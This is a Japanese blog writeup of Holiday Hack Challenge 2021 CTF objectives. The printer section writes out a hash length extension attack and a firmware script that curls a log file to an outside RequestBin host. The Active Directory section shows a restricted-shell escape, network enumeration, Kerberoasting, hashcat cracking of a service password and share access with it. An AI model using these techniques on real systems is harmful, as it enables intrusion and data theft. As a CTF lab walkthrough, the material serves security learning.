fatsheep's memo.txt

気になったこと、試したこと、その他もろもろを書いていきます。

Holiday Hack Challenge 2021 Writeup (Objectives)

f:id:fatsheep:20220112231903p:plain

本記事は、Holiday Hack Challenge 2021のObjectivesのWriteupです。

※TerminalのWriteupはこちら。
fatsheep.hateblo.jp

1. KringleCon Orientation

f:id:fatsheep:20220112231906p:plain

CTFを行うためのチュートリアルのような問題。このCTFを行うにあたり、基本的な操作を指示に従い行っていく。

  • エルフに話しかける
  • 左側に出現したアイテム(wifi adapter)を拾う f:id:fatsheep:20220112231909p:plain
  • 再びエルフに話しかける
  • 机の上に出現したコンソールを開き、画面の指示通り「answer」を入力する f:id:fatsheep:20220112231913p:plain
  • ゲートが開き、中に入ることができる→タスククリア f:id:fatsheep:20220112231915p:plain

2. Where in the World is Caramel Santaigo?

f:id:fatsheep:20220112231918p:plain

OSINT(HUMINT?)のような問題。端末を操作すると様々な場所を調査でき、「InterRink」機能で集めた情報をもとに人物を検索できる模様。各場所で調査すると以下のような情報が得られる。

f:id:fatsheep:20220112231921p:plain

f:id:fatsheep:20220112231923p:plain

f:id:fatsheep:20220112231925p:plain

上記で集めた情報をもとに、InterRink機能でエルフを検索する。

f:id:fatsheep:20220112231928p:plain

f:id:fatsheep:20220112231932p:plain

該当があれば、上の画像のようにエルフの名前が表示される。

様々な場所を調査したりInterRink機能を利用すると、持ち時間が減っていき、持ち時間が無くなると強制的に調査対象のエルフがだれか聞かれる画面に移る。InterRink機能で突き止めたエルフの名前を選択しタスク完了。

f:id:fatsheep:20220112231934p:plain

3. Thaw Frost Tower's Entrance

f:id:fatsheep:20220112231936p:plain

空調システムを操作しタワーのドアの凍結を解消しフロストタワーに入るという問題。

無線LANを受信しなければならないので、まずは電波を受信できる場所を探す。その結果、以下の画像の場所で無線LANの電波を拾うことができた。(窓の向こう側に見える、青い丸の装置が空調システムの模様。)

f:id:fatsheep:20220112231939p:plain

次にその無線LANに接続する。端末に接続されている無線LANバイスを確認したのち、そのデバイスを使ってSSIDをスキャンする。

f:id:fatsheep:20220112231942p:plain

ESSIDとして「FROST-Nidus-Setup」という、暗号化設定がされていないSSIDのAPが見つかる。

iwconfigコマンドを利用して、このAPに接続する。

f:id:fatsheep:20220112231945p:plain

すると「http://nidus-setup:8080」へcurlコマンドを使ってアクセスしろ、と促される。その通りにコマンドを実行してみる。

f:id:fatsheep:20220112231947p:plain

この装置のフル機能を利用するためにはあらかじめ「/register」へアクセスし登録を完了しなければいけない模様。またAPI操作するためのドキュメントと思われるページへのアクセス先も表示される。

いったん機器登録するURL「/register」へアクセスしてみる。

f:id:fatsheep:20220112231950p:plain

どうやらシリアル番号を入力する必要があるらしい。ただ現時点ではその情報を持っていないため、もう1つのAPI操作するためのヘルプページへアクセスしてみる。

f:id:fatsheep:20220112231952p:plain

するとクーラー機能のみは登録作業なしで操作可能なことがわかる。例示されているクーラー操作コマンドを少し編集(温度設定を100に)し実行してみる。

f:id:fatsheep:20220112231955p:plain

レスポンスのJSONに、「"WARNING": "ICE MELT DETECTED!"」とあり、正常に処理が行えた模様。青かった装置の色が赤に変わり、また建物のドアを開けることができた。

f:id:fatsheep:20220112231957p:plain

4. Slot Machine Investigation

f:id:fatsheep:20220112232000p:plain

Flosty Slotsゲームでクレジットを1000以上にした時のサーバからのメッセージを回答する。

ヒントとして、OWASPのWEBパラメータ改ざんに関するページが与えられる。ブラウザの前段にFiddlerを配置し、パラメータが含まれるリクエストを確認する。

f:id:fatsheep:20220112232003p:plain

その結果、上の画像のように、「~/spin」へのアクセス時に3つのパラメータを送信していた。

3つのパラメータのうち「numline」について、Fiddlerの編集&再送信機能を利用し、値をマイナスの値に設定し送信したところ、クレジットが増加した。

f:id:fatsheep:20220112232006p:plain

Answer: I'm going to have some bouncer trolls bounce you right out of this casino!

5. Strange USB Device

f:id:fatsheep:20220112232009p:plain

端末に接続された不審なUSBデバイスを調査して、攻撃に関連するユーザ名を答える問題。問題のヒントとして、USB Rubber DuckyやDucky Scripts(いわゆるBAD USB)に関する情報を得る。

ターミナルを開くと、カレントディレクトリには「mallard.py」というファイルと、「/mnt/USBDEVICE」配下に評価用データがある模様。「mallard.py」を実行するとUsageが表示される。また「/mnt/USBDEVICE」には「inject.bin」がある。

Usageの中でファイルをデコードする機能があり、そのデフォルトのファイルとして「inject.bin」を入力するよう記載されている。このUsage通り、「/mnt/USBDEVICE/inject.bin」を指定して実行しデコードする。

f:id:fatsheep:20220112232012p:plain

デコードした結果、キーボードに見せかけたデバイスとして操作するためのコードが表示される。

f:id:fatsheep:20220112232015p:plain

その中で上記画像のようにBase64エンコード、文字列反転している明らかに怪しい部分があるので、最後の「bash」を削り実行する。

f:id:fatsheep:20220112232017p:plain

実行した結果、外部から公開鍵認証でSSH接続を受けるための設定を行っているコマンドであった。この中でユーザ名「ickymcgoop」を設定していた。

Answer: ickymcgoo

6. Shellcode Primer

f:id:fatsheep:20220112232019p:plain

WEB上で実行できる教育環境&アセンブラ実行環境を通し、シェルコードを学んでいく。最後の問題をクリアすると問題の回答が出てくる。単元は全部で11個。

1. Introduction

イントロダクション。本環境の動作環境を見たりする。

2. Loops

シェルコードによるループの実装方法の解説。

3. Getting Started

ここから実際にコードを書いていく。一番最初はアプリケーションを終了させる方法。

; This is a comment! We'll use comments to help guide your journey.
; Right now, we just need to RETurn!
;
; Enter a return statement below and hit Execute to see what happens!
ret

4. Returning a Value

アプリケーションの処理結果を戻す方法。「rax」に値をいれてアプリケーションを終了させる。

; TODO: Set rax to 1337
mov rax, 1337

; Return, just like we did last time
ret 

5. System Calls

システムコールを呼び出す方法。「rax」には呼び出すシステムコールの番号、システムコールに渡す引数は、第1引数から「rdi」、「rsi」、「rdx」・・、最後に「syscall」で呼び出し実行。

本単元では、「sys_exit」を呼び出す処理を作成する。

; TODO: Find the syscall number for sys_exit and put it in rax
mov rax, 60

; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99

; Perform the actual syscall
syscall

6. Calling Into the Void

スタックと「ret」の関係。適当な値をスタックにPushした後「ret」したらどうなるかの動作確認。

7. Getting RIP

RIPについての単元。「call」を利用し、次の命令のアドレスをスタックに配置する。また「pop」で取り出す。

; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return
nop

; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:

; TODO: Pop the top of the stack into rax
pop rax

; Return from our code, as in previous levels
ret

8. Hello, World!

単元7を応用し、任意のデータ(文字列)をスタック上に配置する。

; This would be a good place for a call
call label1

; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0

; This would be a good place for a label and a pop
label1:
pop rax

; This would be a good place for a re... oh wait, it's already here. Hooray!
ret

9. Hello, World!!

単元8の続編で、スタック上に配置したデータ(文字列)を取り出し、それをシステムコールsys_writeを利用し標準出力に出力する。

; TODO: Get a reference to this string into the correct register
call label1
db 'Hello World!',0
label1:

; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax, 1

; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi, 1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)
pop rsi

; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx, 12

; Perform the syscall
syscall

; Return cleanly
ret

10. Opening a File

システムコールsys_openを利用し、任意のファイルを開く。開く対象のファイルは単元9までの応用でスタック上に配置した文字列を利用する。

; TODO: Get a reference to this string into the correct register
call label1
db '/etc/passwd',0

label1:
; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax, 2

; TODO: Set rdi to the first argument (the filename)
pop rdi

; TODO: Set rsi to the second argument (flags - 0 is fine)
mov rsi, 0

; TODO: Set rdx to the third argument (mode - 0 is also fine)
mov rdx, 0

; Perform the syscall
syscall

; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!
ret

11. Reading a File

単元10の応用で、システムコールsys_openで開いたファイルをシステムコールsys_readで読み込み、システムコールsys_writeを利用し標準出力に出力させる。

; TODO: Get a reference to this
call label1
db '/var/northpolesecrets.txt',0
label1:

; TODO: Call sys_open
mov rax, 2
pop rdi
mov rsi, 0
mov rdx, 0
syscall

; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 200
syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 200
syscall

; TODO: Call sys_exit
mov rax, 60
mov rdi, 99
syscall

最後の、標準出力に表示された文字列の一部が本Objectiveの答え。

Answer: cyber security knowledge

7. Printer Exploitation

f:id:fatsheep:20220112232022p:plain

プリンタの脆弱性をつき、内部の情報(/var/spool/printer.log)を搾取する。

プリンタの管理画面からは様々なリンクがあるが、そのほとんどがパスワードを必要とし、そのためほとんどの機能が利用できなかった。利用できそうなのはファームウェアのアップロード(と、現行のバージョンのダウンロード)くらい。

f:id:fatsheep:20220112232025p:plain

ファームウェアをダウンロードするとJSONファイルになっており、以下のようなフォーマットになっている。

{"firmware":"UEsDB(snip)AAA==","signature":"2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97","secret_length":16,"algorithm":"SHA256"}

firmware」は何等かのデータをBase64エンコードしたもの、「signature」は文字列長から何等かのデータのSHA256ハッシュ、「secret_length」は秘密鍵か何かの文字列長、「algorithm」はおそらく「signature」のハッシュ関数を示すものと思われる。

firmware」のBase64文字列をデコードするとZipファイルになっており、解凍すると「firmware.bin」というELFファイルが出てきた。実行すると、「Firmware is fully up to date!」と表示されるのみだった。(Ghidraでデコンパイルしたが、機能としては前述の機能しかもっていなさそう。)

次にファームウェアアップロード機能を試してみる。ダウンロードしたJSONファイルの書式に倣って、適当なファイルをZip圧縮しBase64エンコード、またZipファイルのSHA256ハッシュを利用しJSONファイルを作成した。これをアップロードすると以下のエラーが出力される。

f:id:fatsheep:20220112232027p:plain

エラーメッセージによると、signature確認が失敗したとのこと。そして最後の部分に丁寧にsignatureの生成方法が記されており、「秘密の文字列+RAWデータ」をハッシュ化する、と記載がある。

「secret」がわからないとどうにもならないのでは、と思ったが、Ruby Cysterのヒントによるとポイントは以下の2つで、これを利用すればいいとのこと。

  • ファイルを複数つなげると、後につなげたほうが有効になる
  • Hash Extension Attack(= Length Extension Attack)を使う

Hash Extension Attackはこちらの動画などが参考になった。 https://www.youtube.com/watch?v=ckF5oboeh4Q

簡単に言うとこういうことの模様。

HASH関数(未知文字列+既知文字列)=既知ハッシュ値
という状況のとき、既知文字列と既知ハッシュを利用することで、
HASH関数(未知文字列+既知文字列+パディング+追加文字列)=新ハッシュ値
とすることができ、未知文字列がなくてもそれに対応した新ハッシュ値を入手(=署名)できる

「secret」がハッシュ関数に渡す際に最初に来ているので、この攻撃手法を利用できそうである。あとはどのように不正のファイルを付け足すかだが、これはヒントの1つ目が答えになっている。

JSONから取り出したファイルはzipファイルであり、中身はfirmware.binというファイルである。プリンター内部の動作を推察すると、アップロードされたJSONからBase64部分を取り出しデコード、Zip解凍し出てきたfirmware.binを実行する、という流れだと考えられる。

上記のZip解凍の部分がポイントで、Linuxのunzipコマンドでは複数連結されているzipファイルは最後のzipファイルのみ解凍される仕組みになっているようである。

以下が、その動作確認である。

$ ls
zipfile1.zip  zipfile2.zip

$ unzip -l zipfile1.zip
Archive:  zipfile1.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        6  2021-12-24 11:46   test1
---------                     -------
        6                     1 file

$ unzip -l zipfile2.zip
Archive:  zipfile2.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        6  2021-12-24 11:46   test2
---------                     -------
        6                     1 file

$ cat zipfile1.zip zipfile2.zip > newzipfile.zip

$ unzip newzipfile.zip                               
Archive:  newzipfile.zip
warning [newzipfile.zip]:  166 extra bytes at beginning or within zipfile
  (attempting to process anyway)
 extracting: test2

$ ls                                              
newzipfile.zip  test2  zipfile1.zip  zipfile2.zip

中身の違うそれぞれのZipファイルをcatコマンドで1つに結合し、それを解凍すると、最後(2つ目)のZipファイルの中身のみ解凍された。

あとはHash Extension Attackを利用するためのツールを準備する。今回は以下を利用した。 https://github.com/iagox86/hash_extender

またプリンタで実行するファイルだが、リバースシェルで別のサーバに接続しそこから操作する方法でもよかったが、今回は得たいファイルが指定されているので、以下のように外部のサーバ(RequestBin)にcurlコマンドでPOSTする内容にした。

#!/bin/bash
curl -X POST -H 'Content-Type: text/plain' --data-binary @/var/spool/printer.log https://en(masked)vi.x.pipedream.net

※RequestBinは以下のようにあらかじめ待ち受けていた。

f:id:fatsheep:20220112232030p:plain

情報はそろったので、Hash Extenderを利用し新ファームウェアを生成する。コマンドは以下の通り。

$ cat firmware.bin
#!/bin/bash
curl -X POST -H 'Content-Type: text/plain' --data-binary @/var/spool/printer.log https://en(snip)vi.x.pipedream.net

$ zip new.zip firmware.bin
  adding: firmware.bin (deflated 8%)

$ ./hash_extender --file download.zip -s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 -l 16 -a `xxd -p new.zip |tr -d '\n'` --append-format hex -f sha256
Type: sha256
Secret length: 16
New signature: 2e5b809a2613e85ec1fc3a213057a7e8f255a0e8555fbc2c1defc4168023324b
New string: 504b030(snip)0000000

引数は以下の通り。

  • 「--file」:既知の文字列(生データ)。ダウンロードしたJSONから取り出したZipファイルを指定。
  • 「-s」:既知のハッシュ値。ダウンロードしたJSONに記載されている元のハッシュ値
  • 「-l」:未知の文字列(秘密鍵)の文字列長。ダウンロードしたJSONに記載されているものを指定。
  • 「-a」:追加する文字列(生データ)。プリンタで実行させたいプログラム(firmware.bin)をZip化したファイル(new.zip)をxxdコマンドでHex化している。
  • 「--append-format」:追加するデータのフォーマットを指定。
  • 「-f」:ハッシュ関数の種類を指定。

出力された文字列はHex形式であるため、CyberChefでHexデコード→Base64エンコードする。

f:id:fatsheep:20220112232033p:plain

エンコードされた文字列と、Hash Extenderで得た新しいハッシュ値を利用し、JSONファイルを生成する。

{"firmware":"UEsDB(snip)AAAAA=","signature":"2e5b809a2613e85ec1fc3a213057a7e8f255a0e8555fbc2c1defc4168023324b","secret_length":16,"algorithm":"SHA256"}

このJSONファイルをプリンタにアップロードする。

f:id:fatsheep:20220112232036p:plain

正常に受理されたのでRequestBinのページを見てみる。

f:id:fatsheep:20220112232038p:plain

プリンタからのアクセスがあり、ファイルがアップロードされ、中身を確認できた。最後に印刷したxlsxファイルのファイル名を答えるため、以下が回答。

Answer: Troll_Pay_Chart.xlsx

8. Kerberoasting on an Open Fire

f:id:fatsheep:20220112232042p:plain

8-1. グレードシステムから抜け出す

まずはシステムに登録する。名前、メールアドレスを登録するとドメインアカウントの登録が完了したメッセージが表示され、またSSHのアクセス先・認証情報が与えられる。

f:id:fatsheep:20220112232044p:plain

この認証情報を利用しSSHで接続すると、コース・グレードを表示するシステムにつながる。「1」を押すと一覧が表示され、「e」を押すと終了(切断)する。

f:id:fatsheep:20220112232047p:plain

f:id:fatsheep:20220112232049p:plain

機能としてはこれ以外になく、何とかしてこのシステムから抜ける必要がある。

Linuxのホットキーである「Ctrl+z」や「Ctrl+c」などいろいろ試していたところ、「Ctrl+d」でプログラムの実行を終了でき、Pythonインタラクティブモードの画面になった。

f:id:fatsheep:20220112232052p:plain

おそらくログインシェルが上記のプログラムになっているんだろう、と考え、PythonからLinuxのコマンドを実行する。

import os
os.system("cat /etc/passwd | grep towccjveud")

結果は以下の通り。

f:id:fatsheep:20220112232054p:plain

「chsh」コマンドでログインシェルを変更する。

os.system("chsh -s /bin/bash")
os.system("cat /etc/passwd | grep towccjveud")

結果は以下の通り。

f:id:fatsheep:20220112232057p:plain

正常に変更できたため、SSH接続しなおす。

8-2. ネットワーク内の調査

今回の問題はADを攻略するということで、まずはほかにどのような端末があるか調査する。

最初はリモート操作端末と同じネットワーク内の端末を確認してみる。

towccjveud@grades:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

towccjveud@grades:~$ nmap -sV 172.17.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-28 01:32 UTC
Nmap scan report for 172.17.0.1
Host is up (0.00057s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for grades.elfu.local (172.17.0.2)
Host is up (0.00060s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.17.0.3
Host is up (0.00057s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE      VERSION
42/tcp   open  nameserver?
53/tcp   open  domain       (generic dns response: NOTIMP)
88/tcp   open  kerberos-sec Heimdal Kerberos (server time: 2021-12-28 01:32:39Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: ELFU)
389/tcp  open  ldap         (Anonymous bind OK)
445/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: ELFU)
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap     (Anonymous bind OK)
1024/tcp open  msrpc        Microsoft Windows RPC
3268/tcp open  ldap         (Anonymous bind OK)
3269/tcp open  ssl/ldap     (Anonymous bind OK)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/28%Time=61CA693C%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,2B,"\0\)\0\x06\x81\x80\0\x01\0\0\0\0\0\x01\x07version
SF:\x04bind\0\0\x10\0\x03\0\0\)\x02\0\0\0\0\0\0\0")%r(DNSStatusRequestTCP,
SF:E,"\0\x0c\0\0\x90\x04\0\0\0\0\0\0\0\0");
Service Info: Host: SHARE30; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 172.17.0.4
Host is up (0.00063s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Nmap scan report for 172.17.0.5
Host is up (0.00061s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 57.99 seconds

いくつか端末が見つかった。特に気なる端末は「172.17.0.3」で、LDAPサーバやDNSサーバ、またSMB共有が有効になっているためDCの可能性がある。

ドメイン周りについてもう少し調査する。リモート操作端末もADに参加している(あるいは関連している)のであれば、その設定が行われているだろう、と思い「dnsdomainname」コマンドを実行する。

towccjveud@grades:~$ dnsdomainname
elfu.local

DNSには「elfu.local」が設定されている。もしこれがADのドメイン名であればPingを実行すればDCに到達するはず、と考え試す。

towccjveud@grades:~$ ping -c 1 elfu.local
PING elfu.local (10.128.1.53) 56(84) bytes of data.
64 bytes from hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53): icmp_seq=1 ttl=127 time=1.03 ms

--- elfu.local ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.026/1.026/1.026/0.000 ms

結果は上の通りで、DCと思われるホスト名(hhc21-windows-dc.c.holidayhack2021.internal)に接続でき、かつDCのIPアドレスが「10.128.1.53」であるとわかった。

上記で見つかった2つのDC(らしきもの)に対し、SMB共有の調査を行う。調査のツールは「smbmap」を利用した。利用するアカウントは一番最初に払い出された個人の認証情報を利用した。

※デフォルトで導入されていなかったため、Githubからソースコードをコピーし利用した。 https://github.com/ShawnDEvans/smbmap

towccjveud@grades:~$ python3 smbmap.py -u towccjveud -p (masked) -d elfu.local -H 172.17.0.3

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap


[+] IP: 172.17.0.3:445  Name: 172.17.0.3                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        netlogon                                                READ ONLY
        sysvol                                                  READ ONLY
        elfu_svc_shr                                            NO ACCESS       elfu_svc_shr
        research_dep                                            NO ACCESS       research_dep
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.3.11-Ubuntu)
towccjveud@grades:~$
towccjveud@grades:~$ python3 smbmap.py -u towccjveud -p (masked) -d elfu.local -H 10.128.1.53

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap


[+] IP: 10.128.1.53:445 Name: hhc21-windows-dc.c.holidayhack2021.internal       Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share
towccjveud@grades:~$

「172.17.0.3」のサーバには、ADに関するもの以外で「elfu_svc_shr」と「research_dep」という2つの気になる共有フォルダがあった。今回の問題ではリサーチドキュメントを探すという内容のため、答えはおそらく「research_dep」に格納されているだろう、と想像する。どちらの共有フォルダにも個人用アカウントからはアクセス権限がなく開くことができない状態であった。

「10.128.1.53」のサーバには特に気になる共有フォルダはなかった。

8-3. Kerberoasting

ADのドメイン名がわかったので、問題名にもあるKerberoastingを試す。

※これ以降はヒントにも出ていたYoutubeの動画を参考に実施する。 https://www.youtube.com/watch?v=iMh8FTzepU4

接続した端末にはあらかじめ様々なツール(IMPACKETのツールが多い)が導入されており、「GetUserSPNs.py」コマンドも導入されているため、オプションを設定し実行する。

towccjveud@grades:~$ GetUserSPNs.py -outputfile output_tgs elfu.local/towccjveud
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2021-12-28 04:59:10.811255
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2021-12-28 04:59:10.811255
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2021-12-28 04:59:10.811255
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2021-12-28 04:59:10.811255

出力されたoutput_tgsの内容を確認する。

towccjveud@grades:~$ cat output_tgs
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$56d66eb01ce10fdb371c8d2841d6a2c2$0eba1f7c(snip)0e79c5fe4184503babd7dc

elfu_svcというアカウントが見つかり、またハッシュも取得できた。

次に見つかったハッシュを解析する。ヒントには「OneRuleToRuleThemAll.rule」と「CeWL」を利用すればよい、とあるので、それらを準備する。

※ローカルのKali Linuxで操作する。

kali@kali:~/obj8$ git clone https://github.com/NotSoSecure/password_cracking_rules
Cloning into 'password_cracking_rules'...
remote: Enumerating objects: 34, done.
remote: Total 34 (delta 0), reused 0 (delta 0), pack-reused 34
Receiving objects: 100% (34/34), 146.24 KiB | 1.57 MiB/s, done.
Resolving deltas: 100% (11/11), done.

CeWLはWEBサイトなどから、ページ内にある単語を取得し、パスワード解析ツール(hashcatやjohnなど)で利用できるかたちでアウトプットするツールである。ヒントには今回の問題で使用するページを利用すればよい、という意味合いの内容があるので、最初のユーザ登録ページを参照し単語リストを生成する。

kali@kali:~/obj8$ cewl  -d 2 -m 5 --with-numbers -w elfu_wordlist.txt https://register.elfu.org/register
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

kali@kali:~/obj8$ wc -l elfu_wordlist.txt 
43 elfu_wordlist.txt

43個の単語が取得できた。

「OneRuleToRuleThemAll.rule」とCeWLで取得した「elfu_wordlist.txt」を利用し、hashcatコマンドを用いてパスワードハッシュを解析する。

kali@kali:~/obj8$ hashcat -m 13100 -a 0 output_tgs -r password_cracking_rules/OneRuleToRuleThemAll.rule --force elfu_wordlist.txt 
hashcat (v6.1.1) starting...

(snip)

Approaching final keyspace - workload adjusted.  

$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$56d66eb01ce10fdb371c8d2841d6a2c2$0eba1f7c693ce6e(snip)c5fe4184503babd7dc:Snow2021!
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_sv...abd7dc
Time.Started.....: Tue Dec 28 15:10:35 2021, (3 secs)
Time.Estimated...: Tue Dec 28 15:10:38 2021, (0 secs)
Guess.Base.......: File (elfu_wordlist.txt)
Guess.Mod........: Rules (password_cracking_rules/OneRuleToRuleThemAll.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   623.2 kH/s (1.93ms) @ Accel:4 Loops:32 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1750272/2235785 (78.28%)
Rejected.........: 0/1750272 (0.00%)
Restore.Point....: 0/43 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:40672-40704 Iteration:0-32
Candidates.#1....: _Domain_ -> cimes

Started: Tue Dec 28 15:10:33 2021
Stopped: Tue Dec 28 15:10:39 2021

パスワードを解析することができ、elfu_svcのパスワードは「Snow2021!」とわかった。

※以降の作業は再びリモート操作端末(grades)で行う。

8-4. SMB共有からファイル取得

8-3で見つかったアカウント「elfu_svc」は、8-2で見つかった共有フォルダと名前が似ているためアクセスできるのでは、と考え、今度は「elfu_svc」アカウントを利用し再度smbmapコマンドを実行する。

towccjveud@grades:~$ python3 smbmap.py -u elfu_svc -p Snow2021! -d elfu.local -H 172.17.0.3

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap


[+] IP: 172.17.0.3:445  Name: 172.17.0.3                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        netlogon                                                READ ONLY
        sysvol                                                  READ ONLY
        elfu_svc_shr                                            READ ONLY       elfu_svc_shr
        research_dep                                            NO ACCESS       research_dep
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.3.11-Ubuntu)

先ほどから結果が変わり、共有フォルダ「elfu_svc_shr」への権限が「READ ONLY」になっている。smbclientコマンドを利用し、中身を確認する。

towccjveud@grades:~$ smbclient -U elfu_svc -W elfu.local //172.17.0.3/elfu_svc_shr Snow2021!
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Mon Dec 27 08:01:25 2021
  Get-NavArtifactUrl.ps1              N     2018  Wed Oct 27 19:12:43 2021
